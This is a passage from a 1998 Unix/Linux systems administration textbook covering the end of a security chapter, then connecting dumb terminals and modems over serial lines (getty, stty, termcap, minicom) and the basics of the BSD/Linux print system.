AUSCERT is a member of the Forum of Incident Response and Security Teams (FIRST) and has close ties with the CERT Coordination Centre, with other international Incident Response Teams (IRTs) and with the Australian Federal Police. AUSCERT provides a centre of expertise on network and computer security matters. AUSCERT centralises reporting of security incidents and facilitates communication to resolve security incidents. AUSCERT provides for the collation and dissemination of security information including system vulnerabilities, defence strategies and mechanisms and early warning of likely attacks. AUSCERT acts as a repository of security related information, tools and techniques. The Australian Vice-Chancellors Committee has contracted AUSCERT to provide security services for all AARNet Members and Affiliates. These services are provided free of charge. Additional products and services are available from AUSCERT which incur charges. Please contact us for more details. AUSCERT membership is not automatic: please obtain a copy of our Registration Form from ftp.auscert.org.au or see Registration for more details. If you are not sure of your affiliation with AARNet, please contact the AARNet General Manager (peter.saalmans@aarnet.edu.au). AUSCERT also contracts certain security services to organisations not associated with AARNET. The Australian Computer Emergency Response Team (AUSCERT) is a cooperative of The University of Queensland, Queensland University of Technology and Griffith University. It provides a centre of expertise on network and computer security matters, providing a single point of contact within Australia for AARNet security, on behalf of the Australian ViceChancellors Committee. WWW sources Many of the pages listed in this chapter provide more information on security. The cracker sites add an interesting tone. Another useful pages is AUSCERT's list of WWW sites. Security mailing list WWW page at Internet Security Systems. Newsgroups Useful newsgroups include alt.security alt.security.index alt.security.pgp alt.security.ripem comp.os.* comp.risks comp.security.announce comp.security.misc comp.virus

David Jones, Bruce Jamieson (15/10/98)

Page 397

85321, Systems Administration

Chapter 17: Security

Conclusions
It is absolutely essential that a computer system has an appropriate level of security. The greater the importance of the data, the greater the level of security. By connecting to the Internet it is no longer a case of "if" your system will be broken into but rather "when". Security on a UNIX system can be broken into three sections passwords, The first line of defence and one often weakened by users. There are a number strategies that can be used to increase the effectiveness of passwords including user education, proactive password programs, onetime passwords and password crackers. the file system, The file system and in particular file permissions are the fences of UNIX security. Used properly, they can keep users in their own little yard on the computer. Care should be taken to maintain the fences the network.

Review Questions
17.1 Give examples of possible security holes related to each of the following passwords, search paths, file permissions, networks.

17.2 Identify the security problems on your machine. A good idea would be to use the tools like COPS, Crack and Satan introduced in this chapter. 17.3 Explain why the following are security holes. Include in the explanation how the security hole would be used by a cracker. The file permissions for /dev/hda1 are set to rw-rw-rw The account bloggsj has no password The directory /usr/bin has the following file permissions rwxrwxrwx 17.4 Outline the steps you would take to break into a site.

David Jones, Bruce Jamieson (15/10/98)

Page 398

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Chapter

18

Terminals, modems and serial lines

This chapter is an unmodified version of a chapter first produced in 1997. Some or even all of the content may be out of date due to changes in Linux.

Introduction
It's usual for a UNIX computer to have a number of peripherals including modems, dumb terminals and printers connected to it. A major method by which these peripherals are connected to a UNIX computer is via serial ports. This chapter will show you how to connect devices to your UNIX computer's serial ports. It will also show you how to connect dumb terminals and modems to a UNIX machine. A good source of information for connecting devices to the serial port of a Linux box is the Serial-HOWTO. Some of the material in this chapter has been adapted or taken directly from the Serial-HOWTO. This chapter is divided into three major sections RS-232 Covers the RS-232 standard, serial cables, connectors, DTE and DCE. terminals Discusses the hardware and software side of connecting a terminal. modems Looks at how to connect and configure a modem for dialing in or out.

Hardware
The hardware part of connecting a serial device deals with obtaining the correct serial cable and connectors choosing the port which to connect the device to your computer

Choosing the port

There are two steps to choosing a port to which to connect a device choosing the physical port, and find the right device file.

David Jones, Bruce Jamieson (15/10/98)

Page 399

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Hardware ports
A typical UNIX computer is likely to have many different serial ports. A PC is liable to have 2, 3 or 4 serial ports. It is possible to purchase multi-port serials cards that supply multiple (4, 20 and more) ports, see Figure 18.1. These are used by installations that want to have large numbers of modems, terminals or other serial devices connected to the computer.

Device files
Each physical port on a UNIX machine has a corresponding device file through which the operating system passes information to the device. Linux device names Table 18.1 summarises the more common device files for serial ports on a Linux box. Most distributions of Linux will also create /dev/modem and /dev/mouse as symbolic links to the appropriate device file listed in Table 18.1. Some people disagree with this practice and it may cause problems if you are allowing people to dial into your machine using a modem.
Device File /dev/cua0 /dev/cua1 /dev/cua2 /dev/cua3 /dev/ttyS0 /dev/ttyS0 /dev/ttyS0 /dev/ttyS0 MS-DOS Equivalent com1 com2 com3 com4 com1 com2 com3 com4

Purpose Used for out-going connections, e.g. dialing out on a modem Used for in-coming connections, dialing in on a modem or a dumb terminal
po r ts

Linux

Table 1 8 .1 de v ic e file s fo r se r ial

RS-232 RS-232 is the standard that most serial ports follow. A full blown discussion on the RS-232 standard is beyond the scope of this text. The following reading can supply more information on RS-232. RS-232, RS-422 and V.35 interfaces Reading 18.1 http://www.sangoma.com/signal.htm This is an optional reading. This material will not be examined and is only included for your interest. Getting the right cable

David Jones, Bruce Jamieson (15/10/98)

Page 400

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Even though serial cables are meant to follow the RS-232 standard there are a number of differences including sex, Plugs are either female (small holes) or male (small prongs). size, and Serial plugs for example can be either 9 pin, 25 pin or a couple of other configurations. the wires that are connected. A serial cable can have up to 25 wires connecting the pins at one end of the cable to the pins at the other end. There are a number of different methods to connect these pins depending on the type of devices being connected. Plugs, sex Plugs are either female, small holes, or male, small pins stick out, in sex.

M ale

Fig ur e 1 8 .2 and Fe male c o nne c to r s

Plugs, size Serial connectors come in a number of different formats including DB-25, DB9, DIN-8, and RJ-45.

DB-2 5 ,

Fig ur e 1 8 .3 DB-9 and RJ -4 5

c o nne c to r s

DTE and DCE

How a serial cable is wired is controlled to a certain extent by the type of devices you are connecting. Most devices are placed into one of two categories DTE, data terminal equipment Most terminals, computers and printers fall into this category. DCE, data communications equipment Modems are generally DCE.

David Jones, Bruce Jamieson (15/10/98)

Page 401

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Types of cable
The division between DTE and DCE is done on the basis of which signals a device will expect on particular pins. This means that cables to connect two DTE devices will be different from a cable used to connect a DTE and a DCE device. Table 18.2 defines the types of cable to use. Connection DTE to DCE DTE to DTE Cable type Straight modem cable Null modem cable
Table 1 8 .2

Null and straight

For the purposes of this subject you do not need to know how to actual wire null and straight modem cables. Any good data communications book will explain how and most electrical stores stock these cables.

Cabling schemes
Given the differences in connectors and cables connecting serial devices can quickly become a complex business. One method for reducing this complexity is the Yost standard. If you are interested a description of the standard is available on the WWW.

Dumb terminals
UNIX is a multi-user operating system. To make use of this attribute multiple users must be able to connect to the system at the same time. This implies that there must be multiple access points. Dumb terminals are one of the cheapest methods for providing multiple access points to a UNIX machine. In most cases a dumb terminal is connected to a UNIX machine using a serial line. A dumb terminal does little more than present text to the user and transfer keystrokes from the terminal back to the central computer. It is dumb because the terminal does no processing of the data. Even though the interface on such beasts is primitive they are still one of the most used methods for adding extra access points to a UNIX computer.

PCs as dumb terminals

Businesses wanting to use dumb terminals have two options do not have to purchase purpose built dumb terminals. A personal computer can act as a dumb terminal by connecting the PCs serial port to the UNIX machines serial port, and

David Jones, Bruce Jamieson (15/10/98)

Page 402

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

using a communications programs (like Procomm or Terminal) to communicate with the UNIX machine over the serial line.

David Jones, Bruce Jamieson (15/10/98)

Page 403

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Fig ur e 1 8 .? ? Te le v ide o Dumb Te r minal

Connecting to a UNIX box

The steps involved in connecting a dumb terminal to a UNIX box include configuring the terminal, connecting the terminal, starting a getty process, and configuring the UNIX terminal software. Terminal configuration For a dumb terminal to work correctly it must be configured properly. In the case of purpose built dumb terminals, configuration will generally be performed by setting dip switches on the terminal. In the case of a personal computer and a communications package these settings are set using the options within the communications program. Characteristics of a dumb terminal that need to be configured include bits per second, The speed at which information can be transferred. Typical values (for today) range from 9600 bps up to 38,400 bps. parity, Typically be set off. duplex, This should be set to full and signifies that data can be transferred in both directions simultaneously. auto linefeed, Should be turned off. The end of a line under UNIX is signified by a newline character. MS-DOS and other systems use a combination of a newline and a carriage return character. data bits, and Suggested values are either 7 or 8 with 7 being the preference. stop bits. With 7 data bits use 2 stop bits. With 8 data bits use 1 stop bit. Problems If anyone of these settings are set incorrectly the output to the terminal or input from the terminal will be corrupted.
David Jones, Bruce Jamieson (15/10/98) Page 404

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Connecting the terminal Once the terminal is configured you now need to connect the terminal to the computer. The steps to do this include identifying a free serial port on the computer, identifying the device file the corresponds to that port, obtaining the correct cable to make the connection, and finally making the connection. Testing the connection Once terminal is configured, connected and turned on, the next step is to test whether or not you can actually transmit data through the connection. The simplest method to do this is to send some information directly to the device file associated with the terminal. For example:
ls -l > /dev/tty1

If the connection is correct and working you should see the output appear on the device. Be careful when you are choosing device files to send output to. Sending output to the wrong device file can be disastrous. Why the connection won't work There are a number or reasons why a connection may not work including incorrect permissions, For the test to work you must have write permission on the device file. Check the permissions. Typically you have to be the root user to perform the test. Don't change the permissions on the device file to world write. This can be a security hole. the wrong device file, You've picked the wrong device file and the information isn't being sent to the new device. Perhaps the device file for the port you want to use hasn't been created yet. incorrect configuration, and The hardware configuration on the device is not correct. Don't expect the output you send to the device to appear picture perfect. Since you are bypassing the normal mechanism for using the device it may not work 100%. incorrect cabling. Is the device turned on? Are you sure you have the correct type of cable.

David Jones, Bruce Jamieson (15/10/98)

Page 405

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Exercises Beg, borrow or steal a dumb terminal (another PC with a communications program will suffice). Perform all the steps listed above for connecting the terminal to your UNIX machine. Test it, see if you can get output appearing on the screen of the dumb terminal.

Terminal software
Terminal configuration files is one area in which the diversity of UNIX platforms rears its ugly head. System V based machines will use different configuration files than BSD based systems. Early BSD systems use different configuration files again. For the purposes of this subject we will concentrate on the Linux software. Terminal configuration files can be divided along the lines of their purpose enabling the login process, setting line configuration, and terminal characteristics. Enabling the login process For a terminal to work users must be able to login. For users to login particular processes have to be executed and be listening on each terminal connection. There are configuration files that control which device files have the login process enabled. Line configuration The operating system has to know about and set the characteristics of the serial line, such as speed, data bits, parity etc, that the terminal is connected to. Terminal characteristics Different terminals have different keyboard layouts, different capabilities (colour etc) and different special character codes to do things like clear the screen. In order to use the full capabilities of a particular type of terminal UNIX must know about the terminal's characteristics. To do this the terminal must have an entry in the database of terminal characteristics that UNIX maintains. The login process In order for someone to login using a dumb terminal the following steps must happen init must start a getty process for the terminal, the getty process displays the login prompt, waits for the user to enter a username and then starts a login process,

David Jones, Bruce Jamieson (15/10/98)

Page 406

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

the login process gets a passwords, checks the validity of that password and then runs the user's login shell if the password is valid, once the user is finished the login shell will finish, causing init to restart a getty process So in order for the whole process to start init must be configured to start a getty process.
/etc/motd and /etc/issue /etc/issue and /etc/motd are text files that contain text messages that are displayed during the login process. /etc/issue is displayed before the login: prompt by the getty process. /etc/motd is displayed by the login process

just before it runs the user's login shell. It is common to use these files to disseminate system information such as when the next time the machine will be down. Exercises Modify the /etc/issue and /etc/motd files of your system. Dumb terminals versus network connections You should be aware of the difference between logging in over a dumb terminal and logging in over a network. A dumb terminal is a special piece of hardware connected directly into the serial port of a UNIX computer. When you login in over a network, usually using telnet, you are connecting via that computers network connection. However this doesn't change the requirement that there must be a getty process running in order for you to login. The difference between a dumb terminal connection and a network connection is the daemon that starts the getty process. For a dumb terminal it is init. For a network connection it might be telnetd or maybe inetd. Entries in init Under Linux the init process is controlled by the /etc/inittab configuration file (the format of /etc/inittab is discussed in a earlier chapter). The inittab file must have an entry for each terminal that requires a getty process. Typical entries look like
c6:23:respawn:/etc/getty 38400 tty6 c7:23:respawn:/etc/getty 38400 ttys1

If you are unsure about the format of inittab entries you should take another look at Chapter 11.

David Jones, Bruce Jamieson (15/10/98)

Page 407

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Linux versions of getty Linux can come with up to three different getty programs, agetty, getty_ps and mgetty. By default my system only has agetty so that is the one I'll concentrate on in this chapter. The other versions can be obtained from the standard Linux ftp sites. All versions will use basically the same arguments but some may provide some additional features. The manual page for agetty provides sufficient information to get it working. Other configuration files Other Unices may use a more complex set of configuration files for the login procedure. The old text book's chapter 10 provides some additional information on these files. If this doesn't help you should refer to your system's manual pages. Exercises Examine the /etc/inittab file for your system. Are there any entries that start getty processes? For which terminals are they? Both getty and login are executable programs. In which directory are they? What would happen if these files were deleted? What would happen if the execute permission on these files was removed? Try it and find out. Change the permissions on either getty or login, see what happens. Log in and then log out, now what happens? Notice that in the initab file the getty entry has the action respawn. What would happen if the action was changed to once.

Line configuration
Every terminal connected to a UNIX machine has an associated terminal driver process. This process maintains a list of characteristics about the current terminal, and a list of special characters and how they should be handled. A common complaint from users is that when they hit particular keys the terminal doesn't do what is expected. Hitting the backspace key might produce a weird character or the cursor keys might not work under vi. These problems maybe caused by the terminal driver not being configured properly.

Changing the settings

Initially these settings are set up by the system from the entries in the system's terminal configuration database. The stty command can be used to view and modify these settings.

David Jones, Bruce Jamieson (15/10/98)

Page 408

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Table 18.3 lists some of the terminal characteristics and Table 18.4 lists some of the special characters. To view the current settings try stty -a (the command might be stty all or stty everything depending on your system). For example The following is the output of the stty command on my Linux box
beldin:~$ stty -a speed 9600 baud; rows 24; columns 80; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0; -parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany imaxbel opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop echoprt echoctl echoke

Option
n
rows n columns n oddp evenp -parity

Meaning bits per second lines to the screen columns on the screen odd parity even parity no parity
by

Table 1 8 .3 Char ac te r istic s affe c te d

stty

Turning on and off

stty options such as evenp or parity are either turned on or off. If evenp is used even parity is turned on if -evenp is used then even parity is turned off.

Exercises One option of the stty command not shown in Table 18.3 is echo Refer to stty's manual page to find out what it is used for. Use the stty command to turn echo off, what happens? Use stty to turn it back on. Write a shell function get_password that gets the user to enter a password but doesn't display the password while the user is typing it in

David Jones, Bruce Jamieson (15/10/98)

Page 409

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Special characters
In these tables you will see character combinations like ^H and ^?. The ^ symbol is used in this case to signify the control key. So ^H could be rewritten CTRL-H. A useful option of the stty command is sane. Entering stty sane when the terminal is behaving strangely will solve many problems. It is possible to use I/O redirection to affect the settings of terminals other than the one you are currently using. Which form of I/O redirection (input or output) you use depends on your system. For BSD redirect the output of stty. For SysV redirect the input. (This will only work if you have the correct permissions on the device file associated with the terminal. Symbolic name
ERASE WERASE KILL EOF INTR QUIT STOP START SUSPEND

SysV default
# N/A @ ^D ^? ^\\ ^S ^Q N/A

BSD/Linux default
^H ^W ^U ^D ^C ^\\ ^S ^Q ^Z

Meaning
erase one character of input erase one word of input erase entire line end of file interrupt current process kill current process with core dump stop output to the screen restart output to screen Suspend current process

Table 1 8 .4 Spe c ial c har ac te r s

Exercises By default the character CTRL-D is used to indicate the end of a file under Linux. If you examine the output of stty -a you should see eof = ^D. One way to create a file is to beldin:~$ cat > newfile hello there ^D Where you use CTRL-D to finish. Use the stty command to change the end of file marker so that it is the letter Z. Try to create a file called newfile using the above method. What happens when you hit
CTRL-D Z Use stty to change the values for rows and columns to 10 and observe the difference. Try running the stty -a and vi commands.

David Jones, Bruce Jamieson (15/10/98)

Page 410

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Terminal characteristics
Different terminals have different keyboard layouts, escape codes and capabilities. For example one terminal will use one combination of characters to signify clearing the screen while another terminal will use another combination of characters. If programs that wish to be able to clear the screen want to work on different terminals they must be able to find out how each terminal performs the operation. Under the UNIX operating system programs discover this information using the TERM (term if you're using csh) environment variable that specifies the type of terminal, and a system specific terminal database that holds information about a large number of different terminals. The shell variable TERM is usually initialised when a user first logs in. It will hold a unique identifier that signifies the type of terminal being used. This identifier is used to access the information about the terminal from the system's terminal database. If the TERM variable is set incorrectly or the terminal does not have an entry in the terminal database problems likely to occur include keys not performing the expected task, Hitting the backspace key doesn't do anything or displays a weird key combination. screen output not being written properly, or The screen not scrolling properly, unexpected colours or characters are appearing. programs not working properly. Full screen programs, vi for example, make use of special characteristics offered by most terminals. If the particular terminal you have doesn't have an entry in the terminal characteristics file it can't make use of these special characteristics. It is the responsibility of various startup files (typically /etc/profile) to make sure that the TERM variable is initialised to the correct value. For example The following is an example of how the TERM variable might be set.
if [ `tty` = /dev/tty1 ] then TERM=vt100 elsif [ `tty` = /dev/tty2 ] then TERM=tvi912b else TERM=console fi

David Jones, Bruce Jamieson (15/10/98)

Page 411

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

On this system the terminal connected to /dev/tty1 is a vt100 so that is the value TERM is set to. The terminal on /dev/tty2 is a tvi912b and it assumes that any other type of terminal is a console. The tty command used here returns the device file used by the current terminal. Once the TERM variable is set its value is used to access information in the terminal database. SysV and BSD based systems use different terminal databases. Exercises Before doing this exercise find out what the current value of the TERM variable is. Make up some name for a terminal, e.g. myterm. Set the TERM shell variable to this value. Attempt to use the vi editor. What happens? Where is the TERM shell variable set on your system.

Terminal database
There are two basic types of terminal database used by UNIX systems termcap, which is from BSD UNIX, and terminfo, which is from SysV UNIX. Linux actually supports both. For this subject we will only examine the termcap terminal database. If you system uses terminfo (try man terminfo) you can refer to the old textbook's chapter 10 for some information on
terminfo termcap /etc/termcap is a text based file used by BSD and Linux as the terminal

database. It contains colon delimited entries for each type of terminal the system recognises. The following is an example termcap entry.
vt100|dec-vt100|vt100-am|vt100am|dec vt100:\ :do=^J:co#80:li#24:cl=50\E[;H\E[2J:sf=2*\ED:\ :le=^H:bs:am:cm=5\E[%i%d;%dH:nd=2\E[C:up=2\E[A:\ :ce=3\E[K:cd=50\E[J:so=2\E[7m:se=2\E[m:us=2\E[4m:ue=2\E[m:\ :md=2\E[1m:mr=2\E[7m:mb=2\E[5m:me=2\E[m:is=\E[1;24r\E[24;1H:\ :if=/usr/share/tabset/vt100:\ :rs=\E>\E[?3l\E[?4l\E[?5l\E[?7h\E[?8h:ks=\E[?1h\E=:ke=\E[?1l\E>:\ :ku=\EOA:kd=\EOB:kr=\EOC:kl=\EOD:kb=^H:\ :ho=\E[H:k1=\EOP:k2=\EOQ:k3=\EOR:k4=\EOS:pt:sr=2*\EM:vt#3:xn:\ :sc=\E7:rc=\E8:cs=\E[%i%d;%dr:

The first field of every entry is a list of terminal names (separated by |). These names are used by the software to recognises a particular terminal. These names are what appears as the value for the TERM variable and is used by the system to look up an entry. The rest of the entry for a terminal consists of various options that describe the way in which the terminal works. The various options will not be discussed here. They are described in the manual pages for the system if needed.

David Jones, Bruce Jamieson (15/10/98)

Page 412

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

It is advisable to put the entries for the most used terminals on your site at the front of the termcap file to speed searching. Exercises Determine the type of terminal you are using and examine the entry for your terminal that is stored in your system's terminal database files.

Summary
The steps involved in connecting a dumb terminal to a UNIX computer are choose a port on the computer, obtain the correct cable to connect the terminal to the port, configure the terminal, connect the terminal and test the connection, configure the line settings, ensure that the terminal's type is in the terminal database (either /etc/termcap or terminfo), ensure that the TERM shell variable is set correctly, start the login process for the port, On a Linux box this is achieved by adding an entry to the /etc/inittab file

Modems
A dumb terminal is simply a method for someone to connect to your machine, so communication is one way. With a modem you can either dial out, or Use your modem to connect from your machine to another machine (much like using a communications program like Procomm on a PC). dial in. Allow somebody else to connect to your UNIX machine via a telephone line. In a later chapter on networking you will be introduced to SLIP and PPP. These are protocols that allow you to use a modem and a phone line as a TCP/IP network connection.

The process
Setting a modem up includes the following steps connect the modem to the computer test the connection dial out only use a communications program to dial an outside number configure the line, dial in only initialise the modem dial in only start the login process on the modems port
David Jones, Bruce Jamieson (15/10/98) Page 413

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Connecting the modem With a Linux machine you are likely to have either an external or an internal modem. With an external modem the procedure for connecting the modem is very similar to that with a dumb terminal identifying a free serial port on the computer, identifying the device file the corresponds to that port, obtaining the correct cable to make the connection, and finally making the connection. With an internal modem the modem will have to be installed into an appropriate internal slot. You won't need to connect an internal modem to a serial port because internal modems have a serial port built-in.
setserial

This following section is taken verbatim from the Linux Serial-Howto

setserial is a program which allows you to look at and change various

attributes of a serial device, including its port address, its interrupt, and other serial port options. It was initially written Rick Sladkey, and was heavily modified by Ted T'so tytso@mit.edu, who also maintains it. The newest version is 2.10, and can be found on the Linux FTP sites. You can find out what version you have by running setserial with no arguments. When your Linux system boots, only ttyS{0-3} are configured, using the default IRQs of 4 and 3. So, if you have any other serial ports provided by other boards or if ttyS{0-3} have a non-standard IRQ, you must use this program in order to configure those serial ports. For the full listing of options, consult the man page. Due to a bit of stupidity on IBM's part, you may encounter problems if you want your internal modem to be on ttyS3. If Linux does not detect your internal modem on ttyS3, you can use setserial and the modem will work fine. Internal modems on ttyS{0-2} should not have any problems being detected. Testing the connection A simple method for testing the physical connection is to simply redirect some I/O to your modem's device file. If the connection has worked then the leds on your modem should flash indicate that information is reaching the modem. A better method is to use one the available communication programs. The serial-howto uses kermit however this is not supplied on a standard Linux distribution. But the basic premise is to start up a communications program, configure the program for your modem and see if you can dial another computer.
minicom

Most Linux distributions will have the communications program Minicom written by Miquel van Smoorenburg. To start it you just type minicom. You may have to be logged in as the root user to use it.
David Jones, Bruce Jamieson (15/10/98) Page 414

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

On starting Minicom type the at command (this command is one of the Hayes commands that are used by most modems, they have nothing to do with UNIX). If an OK is the response then your minicom is talking with your modem. If it isn't you may need to change the configuration of minicom to recognise your modem. To get help on how to do this hit the CTRL-A Z key combination. This means hold the CTRL key down, hit the A key, release both the CTRL and A keys and hit the Z key. Exercises Connect a modem to your UNIX computer and test to see if it is working.

Configuration
Again the following text is taken from the serial how-to verbatim For dial out use only, you can configure your modem however you want. If you intend to use your modem for dialin, you must configure your modem at the same speed that you intend to run getty at. So, if you want to run getty at 38400 bps, set your speed to 38400 bps when you configure your modem. This is done to prevent speed mismatches between your computer and modem. I like to see result codes, so I set Q0 - result codes are reported. To set this on my modem, I would have to precede the register name with an AT command. Using kermit or some comm program, connect to your modem and type the following: ATQ0. If your modem says OK back to you, then the register is set. Do this for each register you want to set. I also like to see what I'm typing, so I set E1 - command echo on. If your modem has data compression capabilities, you probably want to enable them. Consult your modem manual for more help, and a full listing of options. If your modem supports a stored profile, be sure to write the configuration to the modem (often done with AT&W, but varies between modem manufacturers) if not you will have to set the registers every time you turn on, or reset your modem. Hardware flow control If your modem supports hardware flow control (RTS/CTS), I highly recommend you use it. This is particularly important for modems that support data compression. First, you have to enable RTS/CTS flow control on the serial port itself. This is best done on startup, like in /etc/rc.d/rc.local or /etc/rc.d/rc.serial. Make sure that these files are being run from the main rc.M file! You need to do the following for each serial port you want to enable hardware flow control on:
stty crtscts < /dev/cuaN

You must also enable RTS/CTS flow control on your modem. Consult your modem manual on how to do this, as it varies between modem manufacturers.
David Jones, Bruce Jamieson (15/10/98) Page 415

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Be sure to save your modem configuration if your modem supports stored profiles. Starting the login process Back to some original text For a dial-in modem you must start the login process in much the same way as is done for a dumb terminal. Refer to the previous section on starting the login process for a dumb terminal, the serial-howto and the manual page for agetty for more information. Exercises Configure your modem for dialing in. In conjunction with a friend test whether or not someone can login using the modem connection. (To login they will need an account on your machine)

Conclusions
Dumb terminals and modems are generally connected to a UNIX machine using serial ports. RS-232 is the standard for serial connections. Most devices are placed into one of two categories data terminal equipment (DTE, most terminals, computers and printers) and data communications equipment (DCE, modems). Connecting a dumb terminal to a UNIX box includes the following steps configuring the terminal, connecting the terminal, starting a getty process for the terminal, Under Linux this is done by adding an appropriate entry to the /etc/initab file. configuring the line characteristics through software, Done using the stty command. ensuring that the terminal type appears in the terminal database and that the TERM shell variable is set correctly. The terminal database might either be /etc/termcap or terminfo depending on the version of UNIX. Modems can be used to either dial in or dial out. The process for configuring and connecting a modem to a UNIX computer is similar to that for a dumb terminal.

David Jones, Bruce Jamieson (15/10/98)

Page 416

85321, Systems Administration

Chapter 18: Terminals, modems and serial lines

Review Questions
18.1 In what ways can two serial cables differ? 18.2 What type of serial cable would you use to connect a modem to a UNIX computer, a dumb terminal to a UNIX computer. 18.3 List and explain all the steps in the UNIX login process. 18.4 Explain the purpose of each of the following (as related to connecting terminals and modems to a UNIX computer) the stty command termcap and terminfo /etc/inittab 18.5 You've just obtained an old terminal. Describe the steps you would have to perform to connect it to your Linux machine. 18.6 You've connected the terminal from review question 18.5 but when you start using it you discover that you don't have an entry in your /etc/termcap file for this type of terminal. What do you do?

David Jones, Bruce Jamieson (15/10/98)

Page 417

85321, Systems Administration

Chapter 19: Printers

Chapter

19
Printers

This chapter is an unmodified version of a chapter first produced in 1997. Some or even all of the content may be out of date due to changes in Linux.

Introduction
Printers are a standard peripheral for any computer system. One of the first devices added to a new system will be a printer. The multi-user, multiprocessing nature of the UNIX operating system means that the UNIX printer software is more complex than that of a single-user operating system. This makes adding a printer to a UNIX box more than just plugging it in. UNIX print software performs a number of tasks including enabling safe use of printers by multiple users, supporting multiple printers, and allowing the use of remote (network based) printers. This chapter will first examine the hardware issues involved in connecting a printer to a UNIX machine before moving on to examine the more complex part of the process, configuring the software.

Hardware
In most situations printers are connected to a UNIX machine using serial connections. One of the reasons for this is that serial connections allow for twoway communication which some modern printers use. Many modern systems also provide parallel ports. Generally speaking connecting a printer to a UNIX system follows the same generic process used to connect terminals that was outlined in the previous chapter. Parallel printer cables will not be discussed in this subject. Common also today are network printers. These are printers with ethernet connections built-in and are connected directly to the network. When buying network printers make sure you have the software required for your computers to talk to it.

Choose a port
Typically you will have two choices with printers, either parallel or serial ports depending on your printer. The details of cabling for serial ports were discussed in the previous chapter.

David Jones, Bruce Jamieson (15/10/98)

Page 418

85321, Systems Administration

Chapter 19: Printers

Parallel printers on Linux

Since Linux is generally installed onto IBM PC compatible computers it comes with support for parallel printers built-in. The devices /dev/lp0 /dev/lp1 /dev/lp2 are all used for the parallel ports on your Linux box. Each of these devices match a specific hardware I/O address which means that your first parallel port may not be /dev/lp0 it may be /dev/lp1. You can discover which one it is by connecting a parallel printer and trying ls /dev/lp0 or ls /dev/lp1. Whichever command causes output to be displayed on your printer is using the right device file.

Test the connection

Some reasons why the connection might not work as expected include incorrect cabling there is a getty process on the printer port, Especially on serial ports there might be a getty process running on the port that will cause the login prompt to appear on the paper. The getty process will have to be turned off. auto line feed UNIX uses just the line feed character to separate lines. Most printers have a carriage return/line feed, auto line feed switch that controls what the printer expects to use. The problem can be fixed by using the stty command, by an interface program that performs the necessary translation on all output going to the printer, or by setting the printer dip switch to the appropriate setting. incorrect line settings, For a serial port check the port settings especially baud as it might be set too fast for the printer. On older printers the printer might not be configured for the ASCII character set. wrong device file or insufficient permissions. Using the wrong device file or not having the correct permissions on that file can result in no output to the printer. Exercises If possible go through the hardware procedure for connecting a printer to your UNIX box.

UNIX Print software

The software that drives the UNIX printing process is another area in which the different UNIX versions differ greatly. Both versions are based on the concept of spooling (spool stands for Simultaneous Peripheral Operations On-Line). All UNIX print software has the following components a print spooler,
David Jones, Bruce Jamieson (15/10/98) Page 419

85321, Systems Administration

Chapter 19: Printers

spool directories, a print daemon, administrative commands, and filter programs. For the purposes of this subject we will be concentrating on the Linux print software.

Print spooler
The print spooler is the program users execute when they wish to print something (usually the commands lpr or lp). The print spooler takes what the user wishes to print and places it into some pre-defined location, the spool directory. Usually assigning the print job some unique number.

Spool directories
Each printer on a UNIX system has its own spool directory. Print jobs are copied into the spool directory before being printed.

Print daemon
The print daemon (usually lpd or lpsched) is responsible for checking the spooling directory and sending files from the spool directory to the correct printer one job at a time. For every printer there will always be a maximum of one print daemon. This ensures that only one document is being printed on the printer.

Administrative commands
As can be expected there must be administrative commands to perform a number of tasks including changing the priority of print jobs deleting print jobs enabling and disabling printers.

Filters
Both SysV and BSD print services also support the concept of an interface or filter program. These programs filter all output sent to a printer and modifies it in some way. Uses include adding a banner page to every print job, Many UNIX systems automatically add a banner page to the front of a print job. The purpose of the page is to identify the owner of the printer output. adding or removing a carriage return character, or converting the files to be printed into the format the printer expects (e.g. Postscript, PCL)

David Jones, Bruce Jamieson (15/10/98)

Page 420

85321, Systems Administration

Chapter 19: Printers

Linux print software

The Linux print system is based on the BSD print system and we will concentrate on it. The major components of the BSD print system are listed in Table 19.1 An overview of the system is provided by Figure 19.1. Purpose make administrative changes to the print service the daemon, a copy is spawned for each queue, transfers information lpd from spooling area to physical device lpq view the contents of a print queue lpr the user print command, spools information to be printed /etc/printcap system's printer information database lprm removes print jobs from queues
lpc
Table 1 9 .1 BSD/Linux pr int c o mpo ne nts

Component

Fig ur e 1 9 .1 O v e r v ie w o f BSD pr int

syste m

Overview
Assuming that the Linux/BSD print system has been configured, started and that a valid printer has been connected to the system the following is an overview of what happens when a user wants to print something. the lpr command is used
lpr /etc/passwd

the lpr commands discovers the name of the printer on which to print this file by one of three methods 1. command line parameters for the lpr command 2. the shell variable PRINTER 3. or the system wide configuration

David Jones, Bruce Jamieson (15/10/98)

Page 421

85321, Systems Administration

Chapter 19: Printers

lpr reads the /etc/printcap file to find out where the printer's spool directory is, lpr creates two files in the spool directory, each filename ends with a unique identifier for this particular print job (an example identifier
A015Aa00781 1. cfid is the control file and contains information like who printed the file,

